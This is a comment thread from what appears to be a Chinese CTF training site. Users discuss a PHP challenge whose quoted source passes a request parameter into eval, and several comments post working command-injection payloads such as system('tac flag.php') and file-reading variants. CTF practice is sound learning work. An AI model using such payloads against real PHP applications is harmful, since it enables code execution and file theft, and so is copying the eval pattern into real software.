评分(12)
解题动态
布蕾脆脆奶芙 攻破了该题 8小时前
18599298628 攻破了该题 9小时前
yysfd 攻破了该题 12小时前
lzk 攻破了该题 13小时前
RXY 攻破了该题 14小时前
longwolf0078 攻破了该题 14小时前
TohsakaRin 攻破了该题 17小时前
沐头人 攻破了该题 17小时前
wangsir 攻破了该题 19小时前
阿争 攻破了该题 1天前
huasan2410 攻破了该题 1天前
追风的牛牛 攻破了该题 1天前
lllfff 攻破了该题 1天前
15089973919 攻破了该题 2天前
asjk 攻破了该题 2天前
Asen 攻破了该题 2天前
1234165 攻破了该题 2天前
jwleft 攻破了该题 2天前
沈玉鑫 攻破了该题 2天前
评论
Hacker23 5年前
举报
http://114.67.246.176:10183/?hello=system('tac flag.php')
ZTyyds 4年前
举报
原理是什么啊？？？想了解一下
guoguo 5年前
举报
题目内容：<?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__); ?> 可以使用hello=system('tac flag.php')或者?hello=10/print_r(file("flag.ph
dsadscxzewq 5年前
举报
为啥用cat不行呢？
痕夕 5年前
举报
看不懂，求解，大佬
SwBack 5年前
举报
大道至简，直接当作一句话利用即可 hello=system('tac flag.php')
巨人肩膀上的矮子 5年前
举报
@dsadscxzewq cat是可以的，只不过在源代码里查看
dsadscxzewq 5年前
举报
为啥用cat不行呢？
BBBugku 5年前
举报
F12查看源代码，且根据题目描述可以得知flag在flag.php文件中，且在源代码中发现hello并未赋值，因此只需在原有的url后添加 /?hello=10/print_r(file("flag.php")) ，刷新网页，找到flag。
krystalll 5年前
举报
感谢
lurnco 5年前
举报
Too young Too simple
Discuze奇 5年前
举报
我的金币不太允许了呀。。。
lurnco 5年前
举报
可以创个小号做后面的题人?
1amer 5年前
举报
直接读文件吧
你听说过呆呆吗？ 5年前
举报
只有我一个人知道bugku更新了吗
storn 5年前
举报
我也是刚发现，而且，我原来的号好像没了，o(╥﹏╥)o